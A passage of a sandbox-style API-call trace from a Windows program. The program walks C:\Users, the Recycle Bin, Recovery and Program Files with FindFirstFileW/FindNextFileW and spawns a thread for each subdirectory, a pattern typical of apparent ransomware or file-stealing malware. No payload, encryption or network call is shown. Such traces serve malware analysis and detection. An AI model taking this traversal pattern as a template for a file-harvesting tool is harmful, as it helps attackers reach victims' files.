returned="C:\\Recovery\\" [0139.549] wcscat (in: _Dest=0x8e98a0, _Source="*" | out: _Dest="C:\\Recovery\\*") returned="C:\\Recovery\\*" [0139.549] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x250) returned 0x8f3c10 [0139.549] FindFirstFileW (in: lpFileName="C:\\Recovery\\*", lpFindFileData=0x8f3c10 | out: lpFindFileData=0x8f3c10*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0139.695] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8f3c10) returned 1 [0139.695] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8e98a0) returned 1 [0139.695] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8e98c8) returned 1 Thread: id = 1627 os_tid = 0x5f8 [0139.550] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x16) returned 0x8e56b8 [0139.550] wcscpy (in: _Dest=0x8e56b8, _Source="C:\\Users" | out: _Dest="C:\\Users") returned="C:\\Users" [0139.551] wcscat (in: _Dest=0x8e56b8, _Source="\\" | out: _Dest="C:\\Users\\") returned="C:\\Users\\" [0139.551] wcscat (in: _Dest=0x8e56b8, _Source="*" | out: _Dest="C:\\Users\\*") returned="C:\\Users\\*" [0139.551] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x250) returned 0x8f62b0 [0139.551] FindFirstFileW (in: lpFileName="C:\\Users\\*", lpFindFileData=0x8f62b0 | out: lpFindFileData=0x8f62b0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfda01e06, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x28c670c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x28c670c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x8d9b10 [0139.551] wcscmp (_String1=".", _String2=".") returned 0 [0139.551] FindNextFileW (in: hFindFile=0x8d9b10, lpFindFileData=0x8f62b0 | out: lpFindFileData=0x8f62b0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfda01e06, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x28c670c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x28c670c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0139.551] wcscmp (_String1="..", _String2=".") returned 1 [0139.551] wcscmp (_String1="..", _String2="..") returned 0 [0139.551] FindNextFileW (in: hFindFile=0x8d9b10, lpFindFileData=0x8f62b0 | out: lpFindFileData=0x8f62b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28c670c0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2914fe20, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2914fe20, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="5p5NrGJn0jS HALPmcxz", cAlternateFileName="5P5NRG~1")) returned 1 [0139.551] wcscmp (_String1="5p5NrGJn0jS HALPmcxz", _String2=".") returned 1 [0139.551] wcscmp (_String1="5p5NrGJn0jS HALPmcxz", _String2="..") returned 1 [0139.551] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x3c) returned 0x8d26f8 [0139.551] wcscpy (in: _Dest=0x8d26f8, _Source="C:\\Users" | out: _Dest="C:\\Users") returned="C:\\Users" [0139.551] wcscat (in: _Dest=0x8d26f8, _Source="\\" | out: _Dest="C:\\Users\\") returned="C:\\Users\\" [0139.551] wcscat (in: _Dest=0x8d26f8, _Source="5p5NrGJn0jS HALPmcxz" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz" [0139.551] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x8d26f8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x22c [0139.552] FindNextFileW (in: hFindFile=0x8d9b10, lpFindFileData=0x8f62b0 | out: lpFindFileData=0x8f62b0*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x307290f2, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x307290f2, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x307290f2, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="All Users", cAlternateFileName="ALLUSE~1")) returned 1 [0139.552] wcscmp (_String1="All Users", _String2=".") returned 1 [0139.552] wcscmp (_String1="All Users", _String2="..") returned 1 [0139.552] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x26) returned 0x8d8838 [0139.552] wcscpy (in: _Dest=0x8d8838, _Source="C:\\Users" | out: _Dest="C:\\Users") returned="C:\\Users" [0139.552] wcscat (in: _Dest=0x8d8838, _Source="\\" | out: _Dest="C:\\Users\\") returned="C:\\Users\\" [0139.552] wcscat (in: _Dest=0x8d8838, _Source="All Users" | out: _Dest="C:\\Users\\All Users") returned="C:\\Users\\All Users" [0139.552] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x8d8838, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x230 [0139.553] FindNextFileW (in: hFindFile=0x8d9b10, lpFindFileData=0x8f62b0 | out: lpFindFileData=0x8f62b0*(dwFileAttributes=0x13, ftCreationTime.dwLowDateTime=0xfda01e06, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x62fa4a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x62fa4a0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="Default", cAlternateFileName="")) returned 1 [0139.553] wcscmp (_String1="Default", _String2=".") returned 1 [0139.553] wcscmp (_String1="Default", _String2="..") returned 1 [0139.553] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x22) returned 0x8d8868 [0139.553] wcscpy (in: _Dest=0x8d8868, _Source="C:\\Users" | out: _Dest="C:\\Users") returned="C:\\Users" [0139.553] wcscat (in: _Dest=0x8d8868, _Source="\\" | out: _Dest="C:\\Users\\") returned="C:\\Users\\" [0139.553] wcscat (in: _Dest=0x8d8868, _Source="Default" | out: _Dest="C:\\Users\\Default") returned="C:\\Users\\Default" [0139.554] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x8d8868, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x234 [0139.554] FindNextFileW (in: hFindFile=0x8d9b10, lpFindFileData=0x8f62b0 | out: lpFindFileData=0x8f62b0*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x307290f2, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x307290f2, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x307290f2, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Default User", cAlternateFileName="DEFAUL~1")) returned 1 [0139.554] wcscmp (_String1="Default User", _String2=".") returned 1 [0139.554] wcscmp (_String1="Default User", _String2="..") returned 1 [0139.554] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x2c) returned 0x8da9f0 [0139.554] wcscpy (in: _Dest=0x8da9f0, _Source="C:\\Users" | out: _Dest="C:\\Users") returned="C:\\Users" [0139.555] wcscat (in: _Dest=0x8da9f0, _Source="\\" | out: _Dest="C:\\Users\\") returned="C:\\Users\\" [0139.555] wcscat (in: _Dest=0x8da9f0, _Source="Default User" | out: _Dest="C:\\Users\\Default User") returned="C:\\Users\\Default User" [0139.555] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x8da9f0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x238 [0139.556] FindNextFileW (in: hFindFile=0x8d9b10, lpFindFileData=0x8f62b0 | out: lpFindFileData=0x8f62b0*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x286e4016, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0x286e4016, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x28a4ffbc, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0xae, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0139.556] wcscmp (_String1="desktop.ini", _String2=".") returned 1 [0139.556] wcscmp (_String1="desktop.ini", _String2="..") returned 1 [0139.556] FindNextFileW (in: hFindFile=0x8d9b10, lpFindFileData=0x8f62b0 | out: lpFindFileData=0x8f62b0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfdac04c8, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x917fa2ee, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x917fa2ee, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Public", cAlternateFileName="")) returned 1 [0139.556] wcscmp (_String1="Public", _String2=".") returned 1 [0139.556] wcscmp (_String1="Public", _String2="..") returned 1 [0139.556] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x20) returned 0x8e9878 [0139.556] wcscpy (in: _Dest=0x8e9878, _Source="C:\\Users" | out: _Dest="C:\\Users") returned="C:\\Users" [0139.556] wcscat (in: _Dest=0x8e9878, _Source="\\" | out: _Dest="C:\\Users\\") returned="C:\\Users\\" [0139.556] wcscat (in: _Dest=0x8e9878, _Source="Public" | out: _Dest="C:\\Users\\Public") returned="C:\\Users\\Public" [0139.556] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x8e9878, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x23c [0139.557] FindNextFileW (in: hFindFile=0x8d9b10, lpFindFileData=0x8f62b0 | out: lpFindFileData=0x8f62b0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfdac04c8, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x917fa2ee, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x917fa2ee, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Public", cAlternateFileName="")) returned 0 [0139.557] FindClose (in: hFindFile=0x8d9b10 | out: hFindFile=0x8d9b10) returned 1 [0139.558] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8f62b0) returned 1 [0139.558] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8e56b8) returned 1 [0139.558] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8e56f8) returned 1 Thread: id = 1628 os_tid = 0x718 [0139.559] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x82) returned 0x8e65a8 [0139.559] wcscpy (in: _Dest=0x8e65a8, _Source="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000" | out: _Dest="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000") returned="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000" [0139.559] wcscat (in: _Dest=0x8e65a8, _Source="\\" | out: _Dest="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\") returned="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\" [0139.559] wcscat (in: _Dest=0x8e65a8, _Source="*" | out: _Dest="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\*") returned="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\*" [0139.559] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x250) returned 0x8f62b0 [0139.559] FindFirstFileW (in: lpFileName="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\*", lpFindFileData=0x8f62b0 | out: lpFindFileData=0x8f62b0*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0x2dfdd420, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xb63e4b00, ftLastAccessTime.dwHighDateTime=0x1d337f4, ftLastWriteTime.dwLowDateTime=0xb63e4b00, ftLastWriteTime.dwHighDateTime=0x1d337f4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x8d9b10 [0139.559] wcscmp (_String1=".", _String2=".") returned 0 [0139.559] FindNextFileW (in: hFindFile=0x8d9b10, lpFindFileData=0x8f62b0 | out: lpFindFileData=0x8f62b0*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0x2dfdd420, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xb63e4b00, ftLastAccessTime.dwHighDateTime=0x1d337f4, ftLastWriteTime.dwLowDateTime=0xb63e4b00, ftLastWriteTime.dwHighDateTime=0x1d337f4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0139.559] wcscmp (_String1="..", _String2=".") returned 1 [0139.559] wcscmp (_String1="..", _String2="..") returned 0 [0139.559] FindNextFileW (in: hFindFile=0x8d9b10, lpFindFileData=0x8f62b0 | out: lpFindFileData=0x8f62b0*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x2dfdd420, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2dfdd420, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2dfdd420, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x81, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0139.559] wcscmp (_String1="desktop.ini", _String2=".") returned 1 [0139.559] wcscmp (_String1="desktop.ini", _String2="..") returned 1 [0139.559] FindNextFileW (in: hFindFile=0x8d9b10, lpFindFileData=0x8f62b0 | out: lpFindFileData=0x8f62b0*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x2dfdd420, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2dfdd420, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2dfdd420, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x81, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 0 [0139.559] FindClose (in: hFindFile=0x8d9b10 | out: hFindFile=0x8d9b10) returned 1 [0139.559] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8f62b0) returned 1 [0139.559] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8e65a8) returned 1 [0139.559] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8f70a8) returned 1 Thread: id = 1629 os_tid = 0x73c [0139.563] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x40) returned 0x8d2740 [0139.563] wcscpy (in: _Dest=0x8d2740, _Source="C:\\Program Files\\Common Files" | out: _Dest="C:\\Program Files\\Common Files") returned="C:\\Program Files\\Common Files" [0139.563] wcscat (in: _Dest=0x8d2740, _Source="\\" | out: _Dest="C:\\Program Files\\Common Files\\") returned="C:\\Program Files\\Common Files\\" [0139.563] wcscat (in: _Dest=0x8d2740, _Source="*" | out: _Dest="C:\\Program Files\\Common Files\\*") returned="C:\\Program Files\\Common Files\\*" [0139.563] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x250) returned 0x8f62b0 [0139.563] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\*", lpFindFileData=0x8f62b0 | out: lpFindFileData=0x8f62b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7545b2, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x69da35f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x69da35f0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x8d9b10 [0139.563] wcscmp (_String1=".", _String2=".") returned 0 [0139.563] FindNextFileW (in: hFindFile=0x8d9b10, lpFindFileData=0x8f62b0 | out: lpFindFileData=0x8f62b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7545b2, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x69da35f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x69da35f0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0139.563] wcscmp (_String1="..", _String2=".") returned 1 [0139.563] wcscmp (_String1="..", _String2="..") returned 0 [0139.563] FindNextFileW (in: hFindFile=0x8d9b10, lpFindFileData=0x8f62b0 | out: lpFindFileData=0x8f62b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x69da35f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x69dc9750, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x69dc9750, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="DESIGNER", cAlternateFileName="")) returned 1 [0139.563] wcscmp (_String1="DESIGNER", _String2=".") returned 1 [0139.563] wcscmp (_String1="DESIGNER", _String2="..") returned 1 [0139.563] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x4e) returned 0x8e3ea0 [0139.563] wcscpy (in: _Dest=0x8e3ea0, _Source="C:\\Program Files\\Common Files" | out: _Dest="C:\\Program Files\\Common Files") returned="C:\\Program Files\\Common Files" [0139.563] wcscat (in: _Dest=0x8e3ea0, _Source="\\" | out: _Dest="C:\\Program Files\\Common Files\\") returned="C:\\Program Files\\Common Files\\" [0139.563] wcscat (in: _Dest=0x8e3ea0, _Source="DESIGNER" | out: _Dest="C:\\Program Files\\Common Files\\DESIGNER") returned="C:\\Program Files\\Common Files\\DESIGNER" [0139.563] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x8e3ea0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1a4 [0139.564] FindNextFileW (in: hFindFile=0x8d9b10, lpFindFileData=0x8f62b0 | out: lpFindFileData=0x8f62b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7545b2, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x81afcd40, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x81afcd40, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft Shared", cAlternateFileName="MICROS~1")) returned 1 [0139.564] wcscmp (_String1="Microsoft Shared", _String2=".") returned 1 [0139.564] wcscmp (_String1="Microsoft Shared", _String2="..") returned 1 [0139.564] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x5e) returned 0x8ea9d8 [0139.564] wcscpy (in: _Dest=0x8ea9d8, _Source="C:\\Program Files\\Common Files" | out: _Dest="C:\\Program Files\\Common Files") returned="C:\\Program Files\\Common Files" [0139.565] wcscat (in: _Dest=0x8ea9d8, _Source="\\" | out: _Dest="C:\\Program Files\\Common Files\\") returned="C:\\Program Files\\Common Files\\" [0139.565] wcscat (in: _Dest=0x8ea9d8, _Source="Microsoft Shared" | out: _Dest="C:\\Program Files\\Common Files\\Microsoft Shared") returned="C:\\Program Files\\Common Files\\Microsoft Shared" [0139.565] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8ea9d8) returned 1 [0139.565] FindNextFileW (in: hFindFile=0x8d9b10, lpFindFileData=0x8f62b0 | out: lpFindFileData=0x8f62b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd85ef28, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd85ef28, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Services", cAlternateFileName="")) returned 1 [0139.565] wcscmp (_String1="Services", _String2=".") returned 1 [0139.565] wcscmp (_String1="Services", _String2="..") returned 1 [0139.565] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x4e) returned 0x8e3ef8 [0139.565] wcscpy (in: _Dest=0x8e3ef8, _Source="C:\\Program Files\\Common Files" | out: _Dest="C:\\Program Files\\Common Files") returned="C:\\Program Files\\Common Files" [0139.565] wcscat (in: _Dest=0x8e3ef8, _Source="\\" | out: _Dest="C:\\Program Files\\Common Files\\") returned="C:\\Program Files\\Common Files\\" [0139.565] wcscat (in: _Dest=0x8e3ef8, _Source="Services" | out: _Dest="C:\\Program Files\\Common Files\\Services") returned="C:\\Program Files\\Common Files\\Services" [0139.565] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x8e3ef8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x19c [0139.566] FindNextFileW (in: hFindFile=0x8d9b10, lpFindFileData=0x8f62b0 | out: lpFindFileData=0x8f62b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd85ef28, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd85ef28, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="SpeechEngines", cAlternateFileName="SPEECH~1")) returned 1 [0139.566] wcscmp (_String1="SpeechEngines", _String2=".") returned 1 [0139.566] wcscmp (_String1="SpeechEngines", _String2="..") returned 1 [0139.566] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x58) returned 0x8ea9d8 [0139.566] wcscpy (in: _Dest=0x8ea9d8, _Source="C:\\Program Files\\Common Files" | out: _Dest="C:\\Program Files\\Common Files") returned="C:\\Program Files\\Common Files" [0139.566] wcscat (in: _Dest=0x8ea9d8, _Source="\\" | out: _Dest="C:\\Program Files\\Common Files\\") returned="C:\\Program Files\\Common Files\\" [0139.566] wcscat (in: _Dest=0x8ea9d8, _Source="SpeechEngines" | out: _Dest="C:\\Program Files\\Common Files\\SpeechEngines") returned="C:\\Program Files\\Common Files\\SpeechEngines" [0139.566] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x8ea9d8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x198 [0139.567] FindNextFileW (in: hFindFile=0x8d9b10, lpFindFileData=0x8f62b0 | out: lpFindFileData=0x8f62b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xf53e90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf53e90, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="System", cAlternateFileName="")) returned 1 [0139.567] wcscmp (_String1="System", _String2=".") returned 1 [0139.567] wcscmp (_String1="System", _String2="..") returned 1 [0139.567] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x4a) returned 0x8e3f50 [0139.567] wcscpy (in: _Dest=0x8e3f50, _Source="C:\\Program Files\\Common Files" | out: _Dest="C:\\Program Files\\Common Files") returned="C:\\Program Files\\Common Files" [0139.567] wcscat (in: _Dest=0x8e3f50, _Source="\\" | out: _Dest="C:\\Program Files\\Common Files\\") returned="C:\\Program Files\\Common Files\\" [0139.567] wcscat (in: _Dest=0x8e3f50, _Source="System" | out: _Dest="C:\\Program Files\\Common Files\\System") returned="C:\\Program Files\\Common Files\\System" [0139.567] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8e3f50) returned 1 [0139.567] FindNextFileW (in: hFindFile=0x8d9b10, lpFindFileData=0x8f62b0 | out: lpFindFileData=0x8f62b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xf53e90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf53e90, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="System", cAlternateFileName="")) returned 0 [0139.567] FindClose (in: hFindFile=0x8d9b10 | out: hFindFile=0x8d9b10) returned 1 [0139.568] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8f62b0) returned 1 [0139.568] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8d2740) returned 1 [0139.568] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8d2470) returned 1 Thread: id = 1630 os_tid = 0x760 [0139.571] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x5e) returned 0x8eaa38 [0139.571] wcscpy (in: _Dest=0x8eaa38, _Source="C:\\Program Files\\Microsoft Analysis Services" | out: _Dest="C:\\Program Files\\Microsoft Analysis Services") returned="C:\\Program Files\\Microsoft Analysis Services" [0139.571] wcscat (in: _Dest=0x8eaa38, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Analysis Services\\") returned="C:\\Program Files\\Microsoft Analysis Services\\" [0139.571] wcscat (in: _Dest=0x8eaa38, _Source="*" | out: _Dest="C:\\Program Files\\Microsoft Analysis Services\\*") returned="C:\\Program Files\\Microsoft Analysis Services\\*" [0139.571] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x250) returned 0x8f62b0 [0139.571] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Analysis Services\\*", lpFindFileData=0x8f62b0 | out: lpFindFileData=0x8f62b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa1d4a90, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x87d8c240, ftLastAccessTime.dwHighDateTime=0x1d5945e, ftLastWriteTime.dwLowDateTime=0x87d8c240, ftLastWriteTime.dwHighDateTime=0x1d5945e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x941d70 [0140.632] wcscmp (_String1=".", _String2=".") returned 0 [0140.632] 